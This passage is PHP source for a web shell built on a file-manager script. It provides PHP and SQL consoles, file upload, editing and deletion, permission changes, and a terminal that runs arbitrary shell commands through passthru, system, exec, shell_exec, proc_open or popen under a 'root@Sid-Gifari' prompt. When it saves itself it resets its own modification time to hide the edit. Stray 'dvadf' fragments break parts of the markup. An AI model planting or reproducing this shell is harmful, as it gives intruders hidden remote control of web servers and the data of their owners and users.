/UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMTg5XEETAAAB8klEQVQ4y3WSMW/TQBiGn++7sx3XddMAIm0nkCohRQiJDSExdAl/ATEwIPEzkFiYYGRlyMyGxMLExFhByy9ACAaa0gYnDol9x9DYiVs46dPnk/w+9973ngDJ/v7++yAICj+fI0HA/5ZzDu89zjmOjo6yfr//wAJBr9e7G4YhxWSCRFH902qVZdnYx3F8DIQWIMsy1pIEXxSoMfVJ50FeDKUrcGcwAVCANE1ptVqoKqqKMab+rvZhvMbn1y/wg6dItIaIAGABTk5OSJIE9R4AEUFVcc7VPf92wPbtlHz3CRt+jqpSO2i328RxXNtehYgIprXO+ONzrl3+gtEAEW0ChsMhWZY17l5DjOX00xuu7oz5ET3kUmejBteATqdDHMewEK9CPDA/fMVs6xab23tnIv2Hg/F43Jy494gNGH54SffGBqfrj0laS3HDQZqmhGGIW8RWxffn+Dv251t+te/R3enhEUSWVQNGoxF5nuNXxKKGrwfvCHbv4K88wmiJ6nKwjRijKMIYQzmfI4voRIQi3uZ39z5bm50zaHXq4v41YDqdgghSlohzAMymOddv7mGMUJZlI9ZqwE0Hqoi1F15hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
